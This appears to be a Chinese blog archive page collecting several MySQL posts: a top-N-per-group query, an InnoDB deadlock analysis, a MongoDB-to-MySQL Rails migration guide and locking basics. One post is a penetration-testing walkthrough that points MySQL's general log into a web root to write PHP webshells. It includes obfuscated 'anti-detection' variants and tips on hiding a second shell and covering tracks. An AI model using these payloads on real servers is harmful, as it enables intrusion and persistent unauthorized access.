月份：2017年10月

mysql取出某个维度下，排名前n的记录

问题描述

比如：有学生成绩表tb_grade：

CREATE TABLE `tb_grade` (  
  `studentid` int(10) unsigned DEFAULT NULL,
  `courseid` tinyint(4) DEFAULT NULL,
  `grade` int(11) DEFAULT NULL
) ENGINE=InnoDB;  

mysql> select * from tb_grade;  
+-----------+----------+-------+
| studentid | courseid | grade |
+-----------+----------+-------+
|         1 |        1 |    90 |
|         1 |        2 |    80 |
|         1 |        3 |    85 |
|         2 |        3 |    90 |
|         2 |        2 |    90 |
|         2 |        1 |    70 |
|         3 |        1 |    95 |
|         3 |        2 |    88 |
|         3 |        3 |    92 |
|         5 |        1 |    95 |
|         5 |        2 |    90 |
|         5 |        3 |    92 |
+-----------+----------+-------+
12 rows in set (0.00 sec)

现在想要查出每个courseid下，grade最高的前2个studentid。

解题思路

  • 首先，查出每个courseid下，最高的2个grade
mysql> select courseid, grade from (select t1.courseid courseid, t1.grade grade, if(t1.grade < t2.grade, 1, 0) flag from (select distinct courseid, grade from tb_grade) t1 left join (select distinct courseid, grade from tb_grade) t2 on t1.courseid = t2.courseid) t3 group by courseid, grade having sum(flag) < 2;  
+----------+-------+
| courseid | grade |
+----------+-------+
|        1 |    90 |
|        1 |    95 |
|        2 |    88 |
|        2 |    90 |
|        3 |    90 |
|        3 |    92 |
+----------+-------+
6 rows in set (0.01 sec)
  • 连表查询：
mysql> select t4.courseid, t4.grade, studentid from (select courseid, grade from (select t1.courseid courseid, t1.grade grade, if(t1.grade < t2.grade, 1, 0) flag from (select distinct courseid, grade from tb_grade) t1 left join (select distinct courseid, grade from tb_grade) t2 on t1.courseid = t2.courseid) t3 group by courseid, grade having sum(flag) < 2) t4 inner join tb_grade t5 on t4.courseid = t5.courseid and t4.grade = t5.grade order by courseid, grade asc;  
+----------+-------+-----------+
| courseid | grade | studentid |
+----------+-------+-----------+
|        1 |    90 |         1 |
|        1 |    95 |         3 |
|        1 |    95 |         5 |
|        2 |    88 |         3 |
|        2 |    90 |         2 |
|        2 |    90 |         5 |
|        3 |    90 |         2 |
|        3 |    92 |         3 |
|        3 |    92 |         5 |
+----------+-------+-----------+
9 rows in set (0.00 sec)

MySQL死锁案例分析（一）

一、前言

打算写一系列死锁分析的例子，将平时遇到的死锁例子记录下来，做好记录，也当做积累。

二、死锁输出

2017-10-10 17:07:21 7f45a5104700InnoDB: transactions deadlock detected, dumping detailed information.
2017-10-10 17:07:21 7f45a5104700
*** (1) TRANSACTION:
TRANSACTION 47225424098, ACTIVE 0 sec starting index read
mysql tables in use 1, locked 1
LOCK WAIT 6 lock struct(s), heap size 1184, 3 row lock(s), undo log entries 1
MySQL thread id 40396441, OS thread handle 0x7f569a68e700, query id 9746347697 10.200.181.72 trade updating
update table_b
        set updated_at = now(),
         price = 36900,
        where id = 1 and sku_id = 36171933 AND goods_id = 2
        and kdt_id = 3 and offline_id = 1
*** (1) WAITING FOR THIS LOCK TO BE GRANTED:
RECORD LOCKS space id 13387 page no 67 n bits 344 index `PRIMARY` of table `dbname`.`table_b` trx id 47225424098 lock_mode X locks rec but not gap waiting
*** (2) TRANSACTION:
TRANSACTION 47225424090, ACTIVE 0 sec starting index read, thread declared inside InnoDB 5000
mysql tables in use 1, locked 1
6 lock struct(s), heap size 1184, 13 row lock(s), undo log entries 1
MySQL thread id 40397515, OS thread handle 0x7f45a5104700, query id 9746347700 10.200.181.72 trade updating
update table_a
        set updated_at = now(),
        stock_num = 0,
        where goods_id = 2
        and offline_id = 1
        and kdt_id = 3
        and id = 2
*** (2) HOLDS THE LOCK(S):
RECORD LOCKS space id 13387 page no 67 n bits 344 index `PRIMARY` of table `dbname`.`table_b` trx id 47225424090 lock_mode X locks rec but not gap
*** (2) WAITING FOR THIS LOCK TO BE GRANTED:
RECORD LOCKS space id 13451 page no 193 n bits 192 index `PRIMARY` of table `dbname`.`table_a` trx id 47225424090 lock_mode X locks rec but not gap waiting
*** WE ROLL BACK TRANSACTION (2)

table_a 的索引
UNIQUE KEY `uniq_gid_oid_sid` (`goods_id`,`offline_id`,`sku_id`),

table_b 的索引 
UNIQUE KEY `uniq_gid_oid_sid` (`goods_id`,`offline_id`,`sku_id`)

具体的表名以及关键信息已经做了脱敏处理，采用table_a，table_b 。

三、死锁分析

要了解死锁的产生，必须先了解具体的事务逻辑，因此和开发进行沟通，这个事务的逻辑过程

  1. 首先会开启一个会话，查询table_a 表里面根据(goods_id,offline_id)查询是否存在对应的记录，如果存在执行第二步，如果不存在执行第三步

  2. 另外开启一个事务，执行select * from table_a where goods_id=xx and offline_id=yy for update,然后update table_b 表对应(goods_id,offline_id,sku_id)的记录，然后再次更新table_a 表的记录（根据ID）

  3. 另外开启一个事务，执行select * from table_a where goods_id=xx and offline_id=yy ,如果存在，则update table_b 表对应(goods_id,offline_id,sku_id)的记录+update table_a(根据ID），否则执行插入table_b 的操作+插入table_a 的操作

看死锁输出的等待 + 业务操作过程，画出等待矩阵图。

未分类

整个等待如上表所示，在@t4 时刻，Sess 1 对TABLE B 执行更新操作，发生等待，因为Sess 2 在@t3 时刻对TABLE B 表进行了更新操作。Sess 2在@t5时刻进行 UPDATE TABLE_A 发生了等待，因为Sess 1在@t2 时刻发生了更新操作。

但是这个图，我们仔细一想就是不可能的，因为在Sess 2 对 Table_A 进行了FOR UPDATE 后，那么Sess 1是不可能拿到TABLE A 的X lock的。

再次分析业务逻辑，我们发现在第三步的操作过程中，如果第一次查询不存在的时候，进入事务中，再次查询和第一次查询的结果可能存在不一致，也就是说，事务里面可能查询到记录。因此就会导致更新TABLE A 的时候，事务里面是没有执行SELECT TABLE_A FOR UPDATE的！

那么整个执行过程应该如下：

未分类

@t4 的Sess 1 在等待 @t3 的Sess2， @t5的Sess 2 在等待 @t2 的Sess1，形成典型的交叉等待。其中 Sess2 没有执行FOR UPDATE。

整个业务逻辑就是：

  • Sess 2 查询发现没有记录，开启一个事务
  • Sess 1 查询发现有记录（其他会话插入），开启一个事务，执行FOR UPDATE
  • Sess 2 执行表B 的update操作
  • Sess 1 执行表A 的update 操作
  • …

那么如何避免这种典型的死锁呢？

  • 修改业务逻辑，在第一次查询A表的时候，如果查到记录，可以传个FLAG，到事务中，那么事务中就执行执行插入操作，如果已经存在记录，就报错
  • 修改SQL执行顺序，那么首先 A表 for update，然后更新A表，再更新B表，整个执行逻辑总是A表现操作，在操作B表，不会形成因为执行顺序不相同的死锁

四、小结

死锁的分析，一定要结合业务执行过程，否则凭空想象猜测，脑细胞要不够用哈哈。

利用mysql general log 写shell 可行性简要分析

0×01 前言

实际渗透过程中,我们很可能会遇到这样的情况,明明是正儿八经的mysql root权限,但实际利用into outfile写shell的时候,却怎么都写不进去,前提可以肯定的是,我们对目标的网站目录绝对是有写权限的且mysql的root用户本身并没有被降权,一般出现这样的情况很可能就是因为into outfile被禁用或waf拦截,希望下面的方式能帮到你

未分类

0×02 拿shell

利用mysql日志文件来写shell,究其原理其实也非常简单,当我们开启general_log以后,每执行一条sql都会被自动记录到这个日志文件中,我们就可以通过这种方式,把我们的shell代码也自动写进去,运维可能平时都是拿这个来查慢查询,只会临时开启下,所以,如果想利用,就只能我们自己手动开,这就是为什么要root权限才行,因为它涉及到mysql自身参数配置,其实,这里稍微有点儿mysql常识心里都很清楚:

先看下当前mysql默认的日志位置在什么地方,’C:ProgramDataMySQLMySQL Server 5.5Data2008R2DC.log’
顺手把原来正常的日志路径稍微记录下,等会儿干完活儿再把它恢复回来

mysql> show variables like '%general%';

默认基本都是关闭的,不然这个增删改查的记录量可能会非常大

mysql> set global general_log = on;

未分类

此时,再将原本的日志文件位置指向到目标网站的物理路径

mysql> set global general_log_file = 'C:/Program Files (x86)/Apache Software Foundation/Apache2.2/htdocs/abouts.php';

开始写shell,这里就是个普通的shell,不免杀,如果有waf的话,可以用下面的免杀shell

mysql> select '<?php eval($_POST[request]);?>';

未分类

未分类

未分类

mysql> select "<?php $sl = create_function('', @$_REQUEST['klion']);$sl();?>";    免杀shell,eval方式
mysql> SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['klion']));?>";     别人的免杀shell,assert&base64encode方式

0×03 务必要处理好后事

最后,干完活儿以后务必记得把配置恢复原状,然后悄悄的离开就好
[不然,目标站如果访问量比较大,日志文件可能会瞬间暴增连shell时会巨卡]
拿到shell记得马上再传一个shell[放的隐蔽点,关于webshell隐藏细节,请参考博客相关文章]
然后再通过新的shell把最开始这个shell删掉,谨慎一点,起码不会让你的shell掉的那么快

mysql> set global general_log_file = 'C:ProgramDataMySQLMySQL Server 5.5Data2008R2DC.log';
mysql> set global general_log = off;

0×04 后话

并不是什么特别新奇的技巧,都是mysql自身的一些基础特性挖掘利用,大家真正的理解才是主要的,利用过程中可能并非一帆风顺,把解决问题的过程记录下来,才是你真正的收获,祝大家好运

0×05 想成功利用的两个必要条件

事先要想办法找到目标站点的物理路径,不然要把log指向哪里呢
因为我们从外部能访问并执行webshell的地方只有目标的网站目录
当前数据库服务用户对所上面指向的目标网站目录必须能写,不然,log文件是根本没法创建的
其实,说实话,能同时满足这两点的目标并不多
如果目标网站对错误处理的很好,web服务用户和数据库用户权限隔离很清晰基本也是很难利用成功的,确实略显积累,但不失为一种好思路,非常值得拓展
像这种东西可能还是比较适合那些集成环境,比如,appserv,xampp…
因为权限全部都映射到同一个系统用户上了,如果是win平台,权限通常都比较高[实际上多数都直接是system]

如何从 MongoDB 迁移到 MySQL

最近的一个多月时间其实都在做数据库的迁移工作，我目前在开发的项目其实在上古时代是使用 MySQL 作为主要数据库的，后来由于一些业务上的原因从 MySQL 迁移到了 MongoDB，使用了几个月的时间后，由于数据库服务非常不稳定，再加上无人看管，同时 MongoDB 本身就是无 Schema 的数据库，最后导致数据库的脏数据问题非常严重。目前团队的成员没有较为丰富的 Rails 开发经验，所以还是希望使用 ActiveRecord 加上 Migration 的方式对数据进行一些强限制，保证数据库中数据的合法。

未分类

文中会介绍作者在迁移数据库的过程中遇到的一些问题，并为各位读者提供需要停机迁移数据库的可行方案，如果需要不停机迁移数据库还是需要别的方案来解决，在这里提供的方案用于百万数据量的 MongoDB，预计的停机时间在两小时左右，如果数据量在千万级别以上，过长的停机时间可能是无法接受的，应该设计不停机的迁移方案；无论如何，作者希望这篇文章能够给想要做数据库迁移的开发者带来一些思路，少走一些坑。

从关系到文档

虽然这篇文章的重点是从 MongoDB 迁移到 MySQL，但是作者还是想简单提一下从 MySQL 到 MongoDB 的迁移，如果我们仅仅是将 MySQL 中的全部数据导入到 MongoDB 中其实是一间比较简单的事情，其中最重要的原因就是 MySQL 支持的数据类型是 MongoDB 的子集：

未分类

在迁移的过程中可以将 MySQL 中的全部数据以 csv 的格式导出，然后再将所有 csv 格式的数据使用 mongoimport 全部导入到 MongoDB 中：

$ mysqldump -u<username> -p<password> 
    -T <output_directory> 
    --fields-terminated-by ',' 
    --fields-enclosed-by '"' 
    --fields-escaped-by '' 
    --no-create-info <database_name>

$ mongoimport --db <database_name> --collection <collection_name> 
    --type csv 
    --file <data.csv> 
    --headerline

虽然整个过程看起来只需要两个命令非常简单，但是等到你真要去做的时候你会遇到非常多的问题，作者没有过从 MySQL 或者其他关系型数据库迁移到 MongoDB 的经验，但是 Google 上相关的资料特别多，所以这总是一个有无数前人踩过坑的问题，而前人的经验也能够帮助我们节省很多时间。

未分类

使用 csv 的方式导出数据在绝大多数的情况都不会出现问题，但是如果数据库中的某些文档中存储的是富文本，那么虽然在导出数据时不会出现问题，最终导入时可能出现一些比较奇怪的错误。

从文档到关系

相比于从 MySQL 到 MongoDB 的迁移，反向的迁移就麻烦了不止一倍，这主要是因为 MongoDB 中的很多数据类型和集合之间的关系在 MySQL 中都并不存在，比如嵌入式的数据结构、数组和哈希等集合类型、多对多关系的实现，很多的问题都不是仅仅能通过数据上的迁移解决的，我们需要在对数据进行迁移之前先对部分数据结构进行重构，本文中的后半部分会介绍需要处理的数据结构和逻辑。

未分类

当我们准备将数据库彻底迁移到 MySQL 之前，需要做一些准备工作，将最后迁移所需要的工作尽可能地减少，保证停机的时间不会太长，准备工作的目标就是尽量消灭工程中复杂的数据结构。

数据的预处理

在进行迁移之前要做很多准备工作，第一件事情是要把所有嵌入的数据结构改成非嵌入式的数据结构：

未分类

也就是把所有 embeds_many 和 embeds_one 的关系都改成 has_many 和 has_one，同时将 embedded_in 都替换成 belongs_to，同时我们需要将工程中对应的测试都改成这种引用的关系，然而只改变代码中的关系并没有真正改变 MongoDB 中的数据。

def embeds_many_to_has_many(parent, child)
  child_key_name = child.to_s.underscore.pluralize
  parent.collection.find({}).each do |parent_document|
    next unless parent_document[child_key_name]
    parent_document[child_key_name].each do |child_document|
      new_child = child_document.merge "#{parent.to_s.underscore}_id": parent_document['_id']
      child.collection.insert_one new_child
    end
  end
  parent.all.unset(child_key_name.to_sym)
end

embeds_many_to_has_many(Person, Address)

我们可以使用上述的代码将关系为嵌入的模型都转换成引用，拍平所有复杂的数据关系，这段代码的运行时间与嵌入关系中的两个模型的数量有关，需要注意的是，MongoDB 中嵌入模型的数据可能因为某些原因出现相同的 _id 在插入时会发生冲突导致崩溃，你可以对 insert_one 使用 resuce 来保证这段代码的运行不会因为上述原因而停止。

未分类

通过这段代码我们就可以轻松将原有的嵌入关系全部展开变成引用的关系，将嵌入的关系变成引用除了做这两个改变之外，不需要做其他的事情，无论是数据的查询还是模型的创建都不需要改变代码的实现，不过记得为子模型中父模型的外键添加索引，否则会导致父模型在获取自己持有的全部子模型时造成全表扫描：

class Comment
  include Mongoid::Document
  index post_id: 1
  belongs_to :post
end

在处理了 MongoDB 中独有的嵌入式关系之后，我们就需要解决一些复杂的集合类型了，比如数组和哈希，如果我们使用 MySQL5.7 或者 PostgreSQL 的话，其实并不需要对他们进行处理，因为最新版本的 MySQL 和 PostgreSQL 已经提供了对 JSON 的支持，不过作者还是将项目中的数组和哈希都变成了常见的数据结构。

在这个可选的过程中，其实并没有什么标准答案，我们可以根据需要将不同的数据转换成不同的数据结构：

未分类

比如，将数组变成字符串或者一对多关系，将哈希变成当前文档的键值对等等，如何处理这些集合数据其实都要看我们的业务逻辑，在改变这些字段的同时尽量为上层提供一个与原来直接 .tags 或者 .categories 结果相同的 API：

class Post
  ...
  def tag_titles
    tags.map(&:title)
  end

  def split_categories
    categories.split(',')
  end
end

这一步其实也是可选的，上述代码只是为了减少其他地方的修改负担，当然如果你想使用 MySQL5.7 或者 PostgreSQL 数据库对 JSON 的支持也没有什么太大的问题，只是在查询集合字段时有一些不方便。

Mongoid 的『小兄弟』们

在使用 Mongoid 进行开发期间难免会用到一些相关插件，比如 mongoid-enum、mongoid-slug 和 mongoid-history 等，这些插件的实现与 ActiveRecord 中具有相同功能的插件在实现上有很大的不同。

对于有些插件，比如 mongoid-slug 只是在引入插件的模型的文档中插入了 _slugs 字段，我们只需要在进行数据迁移忽略这些添加的字段并将所有的 #slug 方法改成 #id，不需要在预处理的过程中做其它的改变。而枚举的实现在 Mongoid 的插件和 ActiveRecord 中就截然不同了：

未分类

mongoid-enum 使用字符串和 _status 来保存枚举类型的字段，而 ActiveRecord 使用整数和 status 表示枚举类型，两者在底层数据结构的存储上有一些不同，我们会在之后的迁移脚本中解决这个问题。

未分类

如果在项目中使用了很多 Mongoid 的插件，由于其实现不同，我们也只能根据不同的插件的具体实现来决定如何对其进行迁移，如果使用了一些支持特殊功能的插件可能很难在 ActiveRecord 中找到对应的支持，在迁移时可以考虑暂时将部分不重要的功能移除。

主键与 UUID

我们希望从 MongoDB 迁移到 MySQL 的另一个重要原因就是 MongoDB 每一个文档的主键实在是太过冗长，一个 32 字节的 _id 无法给我们提供特别多的信息，只能增加我们的阅读障碍，再加上项目中并没有部署 MongoDB 集群，所以没能享受到用默认的 UUID 生成机制带来的好处。

未分类

我们不仅没有享受到 UUID 带来的有点，它还在迁移 MySQL 的过程中为我们带来了很大的麻烦，一方面是因为 ActiveRecord 的默认主键是整数，不支持 32 字节长度的 UUID，如果我们想要不改变 MongoDB 的 UUID，直接迁移到 MySQL 中使用其实也没有什么问题，只是我们要将默认的整数类型的主键变成字符串类型，同时要使用一个 UUID 生成器来保证所有的主键都是根据时间递增的并且不会冲突。

如果准备使用 UUID 加生成器的方式，其实会省去很多迁移的时间，不过看起来确实不是特别的优雅，如何选择还是要权衡和评估，但是如果我们选择了使用 integer 类型的自增主键时，就需要做很多额外的工作了，首先是为所有的表添加 uuid 字段，同时为所有的外键例如 post_id 创建对应的 post_uuid 字段，通过 uuid 将两者关联起来：

未分类

在数据的迁移过程中，我们会将原有的 _id 映射到 uuid 中，post_id 映射到 post_uuid 上，我们通过保持 uuid 和 post_uuid 之间的关系保证模型之间的关系没有丢失，在迁移数据的过程中 id 和 post_id 是完全不存在任何联系的。

当我们按照 _id 的顺序遍历整个文档，将文档中的数据被插入到表中时，MySQL 会为所有的数据行自动生成的递增的主键 id，而 post_id 在这时都为空。

未分类

在全部的数据都被插入到 MySQL 之后，我们通过 #find_by_uuid 查询的方式将 uuid 和 post_uuid 中的关系迁移到 id 和 post_id 中，并将与 uuid 相关的字段全部删除，这样我们能够保证模型之间的关系不会消失，并且数据行的相对位置与迁移前完全一致。

代码的迁移

Mongoid 在使用时都是通过 include 将相关方法加载到当前模型中的，而 ActiveRecord 是通过继承 ActiveRecord::Base 的方式使用的，完成了对数据的预处理，我们就可以对现有模型层的代码进行修改了。

首先当然是更改模型的『父类』，把所有的 Mongoid::Document 都改成 ActiveRecord::Base，然后创建类对应的 Migration 迁移文件：

# app/models/post.rb
class Post < ActiveRecord::Base
  validate_presence_of :title, :content
end

# db/migrate/20170908075625_create_posts.rb
class CreatePosts < ActiveRecord::Migration[5.1]
  def change
    create_table :posts do |t|
      t.string :title, null: false
      t.text :content, null: false
      t.string :uuid, null: false

      t.timestamps null: false
    end

    add_index :posts, :uuid, unique: true
  end
end

注意：要为每一张表添加类型为字符串的 uuid 字段，同时为 uuid 建立唯一索引，以加快通过 uuid 建立不同数据模型之间关系的速度。

除了建立数据库的迁移文件并修改基类，我们还需要修改一些 include 的模块和 Mongoid 中独有的查询，比如使用 gte 或者 lte 的日期查询和使用正则进行模式匹配的查询，这些查询在 ActiveRecord 中的使用方式与 Mongoid 中完全不同，我们需要通过手写 SQL 来解决这些问题。

未分类

除此之外，我们也需要处理一些复杂的模型关系，比如 Mongoid 中的 inverse_of 在 ActiveRecord 中叫做 foreign_key 等等，这些修改其实都并不复杂，只是如果想要将这部分的代码全部处理掉，就需要对业务逻辑进行详细地测试以保证不会有遗留的问题，这也就对我们项目的测试覆盖率有着比较高的要求了，不过我相信绝大多数的 Rails 工程都有着非常好的测试覆盖率，能够保证这一部分代码和逻辑能够顺利迁移，但是如果项目中完全没有测试或者测试覆盖率很低，就只能人肉进行测试或者自求多福了，或者就别做迁移了，多写点测试再考虑这些重构的事情吧。

数据的迁移

为每一个模型创建对应的迁移文件并建表其实一个不得不做的体力活，虽然有一些工作我们没法省略，但是我们可以考虑使用自动化的方式为所有的模型添加 uuid 字段和索引，同时也为类似 post_id 的字段添加相应的 post_uuid 列：

class AddUuidColumns < ActiveRecord::Migration[5.1]
  def change
    Rails.application.eager_load!
    ActiveRecord::Base.descendants.map do |klass|
      # add `uuid` column and create unique index on `uuid`.
      add_column klass.table_name, :uuid, :string, unique: true
      add_index klass.table_name, unique: true

      # add `xxx_uuid` columns, ex: `post_uuid`, `comment_uuid` and etc.
      uuids = klass.attribute_names
        .select { |attr| attr.include? '_id' }
        .map    { |attr| attr.gsub '_id', '_uuid' }
      next unless uuids.present?
      uuids.each do |uuid|
        add_column klass.table_name, uuid, :string
      end
    end
  end
end

在添加 uuid 列并建立好索引之后，我们就可以开始对数据库进行迁移了，如果我们决定在迁移的过程中改变原有数据的主键，那么我们会将迁移分成两个步骤，数据的迁移和关系的重建，前者仅指将 MongoDB 中的所有数据全部迁移到 MySQL 中对应的表中，并将所有的 _id 转换成 uuid、xx_id 转换成 xx_uuid，而后者就是前面提到的：通过 uuid 和 xx_uuid 的关联重新建立模型之间的关系并在最后删除所有的 uuid 字段。

我们可以使用如下的代码对数据进行迁移，这段代码从 MongoDB 中遍历某个集合 Collection 中的全部数据，然后将文档作为参数传入 block，然后再分别通过 DatabaseTransformer#delete_obsolete_columns 和 DatabaseTransformer#update_rename_columns 方法删除部分已有的列、更新一些数据列最后将所有的 id 列都变成 uuid：

module DatabaseTransformer
  def import(collection_name, *obsolete_columns, **rename_columns)
    collection = Mongoid::Clients.default.collections.select do |c|
      c.namespace == "#{database}.#{collection_name.to_s.pluralize}"
    end.first

    unless collection.present?
      STDOUT.puts "#{collection_name.to_s.yellow}: skipped"
      STDOUT.puts
      return
    end

    constant = collection_name.to_s.singularize.camelcase.constantize
    reset_callbacks constant

    DatabaseTransformer.profiling do
      collection_count = collection.find.count
      collection.find.each_with_index do |document, index|
        document = yield document if block_given?
        delete_obsolete_columns document, obsolete_columns
        update_rename_columns document, rename_columns
        update_id_columns document

        insert_record constant, document
        STDOUT.puts "#{index}/#{collection_count}n" if (index % 1000).zero?
      end
    end
  end
end

当完成了对文档的各种操作之后，该方法会直接调用 DatabaseTransformer#insert_record 将数据插入 MySQL 对应的表中；我们可以直接使用如下的代码将某个 Collection 中的全部文档迁移到 MySQL 中：

transformer = DatabaseTransformer.new 'draven_production'
transformer.import :post, :_slugs, name: :title, _status: :status

上述代码会在迁移时将集合每一个文档的 _slugs 字段全部忽略，同时将 name 重命名成 title、_status 重命名成 status，虽然作为枚举类型的字段 mongoid-enum 和 ActiveRecord 的枚举类型完全不同，但是在这里可以直接插入也没有什么问题，ActiveRecord 的模型在创建时会自己处理字符串和整数之间的转换：

def insert_record(constant, params)
  model = constant.new params
  model.save! validate: false
rescue Exception => exception
  STDERR.puts "Import Error: #{exception}"
  raise exception
end

为了加快数据的插入速度，同时避免所有由于插入操作带来的副作用，我们会在数据迁移期间重置所有的回调：

def reset_callbacks(constant)
  %i(create save update).each do |callback|
    constant.reset_callbacks callback
  end
end

这段代码的作用仅在这个脚本运行的过程中才会生效，不会对工程中的其他地方造成任何的影响；同时，该脚本会在每 1000 个模型插入成功后向标准输出打印当前进度，帮助我们快速发现问题和预估迁移的时间。

你可以在 https://gist.github.com/Draveness/10476fe67a10128a37ba27a4c6967d07 找到完整的数据迁移代码。

将所有的数据全部插入到 MySQL 的表之后，模型之间还没有任何显式的关系，我们还需要将通过 uuid 连接的模型转换成使用 id 的方式，对象之间的关系才能通过点语法直接访问，关系的建立其实非常简单，我们获得当前类所有结尾为 _uuid 的属性，然后遍历所有的数据行，根据 uuid 的值和 post_uuid 属性中的 “post” 部分获取到表名，最终得到对应的关联模型，在这里我们也处理了类似多态的特殊情况：

module RelationBuilder
  def build_relations(class_name, polymorphic_associations = [], rename_associations = {})
    uuids = class_name.attribute_names.select { |name| name.end_with? '_uuid' }

    unless uuids.present?
      STDOUT.puts "#{class_name.to_s.yellow}: skipped"
      STDOUT.puts
      return
    end

    reset_callbacks class_name

    RelationBuilder.profiling do
      models_count = class_name.count
      class_name.unscoped.all.each_with_index do |model, index|
        update_params = uuids.map do |uuid|
          original_association_name = uuid[0...-5]

          association_model = association_model(
            original_association_name,
            model[uuid],
            polymorphic_associations,
            rename_associations
          )

          [original_association_name.to_s, association_model]
        end.compact

        begin
          Hash[update_params].each do |key, value|
            model.send "#{key}=", value
          end
          model.save! validate: false
        rescue Exception => e
          STDERR.puts e
          raise e
        end

        STDOUT.puts "#{index}/#{models_count}n" if (counter % 1000).zero?
      end
    end
  end
end

在查找到对应的数据行之后就非常简单了，我们调用对应的 post= 等方法更新外键最后直接将外键的值保存到数据库中，与数据的迁移过程一样，我们在这段代码的执行过程中也会打印出当前的进度。

在初始化 RelationBuilder 时，如果我们传入了 constants，那么在调用 RelationBuilder#build! 时就会重建其中的全部关系，但是如果没有传入就会默认加载 ActiveRecord 中所有的子类，并去掉其中包含 :: 的模型，也就是 ActiveRecord 中使用 has_and_belongs_to_many 创建的中间类，我们会在下一节中介绍如何单独处理多对多关系：

def initialize(constants = [])
  if constants.present?
    @constants = constants
  else
    Rails.application.eager_load!
    @constants = ActiveRecord::Base.descendants
        .reject { |constant| constant.to_s.include?('::') }
  end
end

跟关系重建相关的代码可以在 https://gist.github.com/Draveness/c0798fb1272f483a176fa67741a3f1ee 找到完整的用于关系迁移的代码。

builder = RelationBuilder.new([Post, Comment])
builder.build!

通过这数据迁移和关系重建两个步骤就已经可以解决绝大部分的数据迁移问题了，但是由于 MongoDB 和 ActiveRecord 中对于多对多关系的处理比较特殊，所以我们需要单独进行解决，如果所有的迁移问题到这里都已经解决了，那么我们就可以使用下面的迁移文件将数据库中与 uuid 有关的全部列都删除了：

class RemoveAllUuidColumns < ActiveRecord::Migration[5.1]
  def change
    Rails.application.eager_load!
    ActiveRecord::Base.descendants.map do |klass|
      attrs = klass.attribute_names.select { |n| n.include? 'uuid' }
      next unless attrs.present?
      remove_columns klass.table_name, *attrs
    end
  end
end

到这里位置整个迁移的过程就基本完成了，接下来就是跟整个迁移过程中有关的其他事项，例如：对多对关系、测试的重要性等话题。

多对多关系的处理

多对多关系在数据的迁移过程中其实稍微有一些复杂，在 Mongoid 中使用 has_and_belongs_to_many 会在相关的文档下添加一个 tag_ids 或者 post_ids 数组：

# The post document.
{
  "_id" : ObjectId("4d3ed089fb60ab534684b7e9"),
  "tag_ids" : [
    ObjectId("4d3ed089fb60ab534684b7f2"), 
    ObjectId("4d3ed089fb60ab53468831f1")
  ],
  "title": "xxx",
  "content": "xxx"
}

而 ActiveRecord 中会建立一张单独的表，表的名称是两张表名按照字母表顺序的拼接，如果是 Post 和 Tag，对应的多对多表就是 posts_tags，除了创建多对多表，has_and_belongs_to_many 还会创建两个 ActiveRecord::Base 的子类 Tag::HABTM_Posts 和 Post::HABTM_Tags，我们可以使用下面的代码简单实验一下：

require 'active_record'

class Tag < ActiveRecord::Base; end
class Post < ActiveRecord::Base
  has_and_belongs_to_many :tags
end
class Tag < ActiveRecord::Base
  has_and_belongs_to_many :posts
end
puts ActiveRecord::Base.descendants
# => [Tag, Post, Post::HABTM_Tags, Tag::HABTM_Posts]

上述代码打印出了两个 has_and_belongs_to_many 生成的类 Tag::HABTM_Posts 和 Post::HABTM_Tags，它们有着完全相同的表 posts_tags，处理多对多关系时，我们只需要在使用 DatabaseTransformer 导入表中的所有的数据之后，再通过遍历 posts_tags 表中的数据更新多对多的关系表就可以了：

class PostsTag < ActiveRecord::Base; end

# migrate data from mongodb to mysql.
transformer = DatabaseTransformer.new 'draven_production'
transformer.import :posts_tags

# establish association between posts and tags.
PostsTag.unscoped.all.each do |model|
  post = Post.find_by_uuid model.post_uuid
  tag = Tag.find_by_uuid model.tag_uuid
  next unless post.present? && tag.present?
  model.update_columns post_id: post.id, tag_id: tag.id
end

所有使用 has_and_belongs_to_many 的多对多关系都需要通过上述代码进行迁移，这一步需要在删除数据库中的所有 uuid 字段之前完成。

测试的重要性

在真正对线上的服务进行停机迁移之前，我们其实需要对数据库已有的数据进行部分和全量测试，在部分测试阶段，我们可以在本地准备一个数据量为生产环境数据量 1/10 或者 1/100 的 MongoDB 数据库，通过在本地模拟 MongoDB 和 MySQL 的环境进行预迁移，确保我们能够尽快地发现迁移脚本中的错误。

未分类

准备测试数据库的办法是通过关系删除一些主要模型的数据行，在删除时可以通过 MongoDB 中的 dependent: :destroy 删除相关的模型，这样可以尽可能的保证数据的一致性和完整性，但是在对线上数据库进行迁移之前，我们依然需要对 MongoDB 中的全部数据进行全量的迁移测试，这样可以发现一些更加隐蔽的问题，保证真正上线时可以出现更少的状况。

数据库的迁移其实也属于重构，在进行 MongoDB 的数据库迁移之前一定要保证项目有着完善的测试体系和测试用例，这样才能让我们在项目重构之后，确定不会出现我们难以预料的问题，整个项目才是可控的，如果工程中没有足够的测试甚至没有测试，那么就不要再说重构这件事情了 – 单元测试是重构的基础。

总结

如何从 MongoDB 迁移到 MySQL 其实是一个工程问题，我们需要在整个过程中不断寻找可能出错的问题，将一个比较复杂的任务进行拆分，在真正做迁移之前尽可能地减少迁移对服务可用性以及稳定性带来的影响。

未分类

除此之外，MongoDB 和 MySQL 之间的选择也不一定是非此即彼，我们将项目中的大部分数据都迁移到了 MySQL 中，但是将一部分用于计算和分析的数据留在了 MongoDB，这样就可以保证 MongoDB 宕机之后仍然不会影响项目的主要任务，同时，MySQL 的备份和恢复速度也会因为数据库变小而非常迅速。

最后一点，测试真的很重要，如果没有测试，没有人能够做到在修改大量的业务代码的过程中不丢失任何的业务逻辑，甚至如果没有测试，很多业务逻辑可能在开发的那一天就已经丢失了。

如果对文章的内容有疑问或者有 MongoDB 迁移相关的问题，可以在评论中留言，评论系统使用 Disqus 需要梯子。

MySQL 数据库锁定机制

1. MySQL 锁定机制简介

各存储引擎使用三种类型锁定机制

  • 行级锁定（row-level）
  • 表级锁定（table-level）
  • 页级锁定（page-leve） ： 页级锁定介于行级锁定与表级锁定之间。

2. MySQL数据库中 表级锁定主要是 MyISAM、Memory、CSV 等一些非事务性存储引擎，使用行级锁定主要是 InnoDB 存储引擎和 NDB Cluster 存储引擎，页级锁定主要是BerkeleyDB存储引擎

3. MyISAM 表级锁定主要分为两种类型

  • 读锁定，一个新客户端在申请获取读锁定资源的时候，需要满足两个条件：
    • 请求锁定的资源当前没有被写锁定

    • 写锁定等待队列 （Pending write-lock queue）中没有更高优先级的写锁定在等待

    • （只影响写操作）

  • 写锁定

    • （影响读操作，同时也影响写操作）

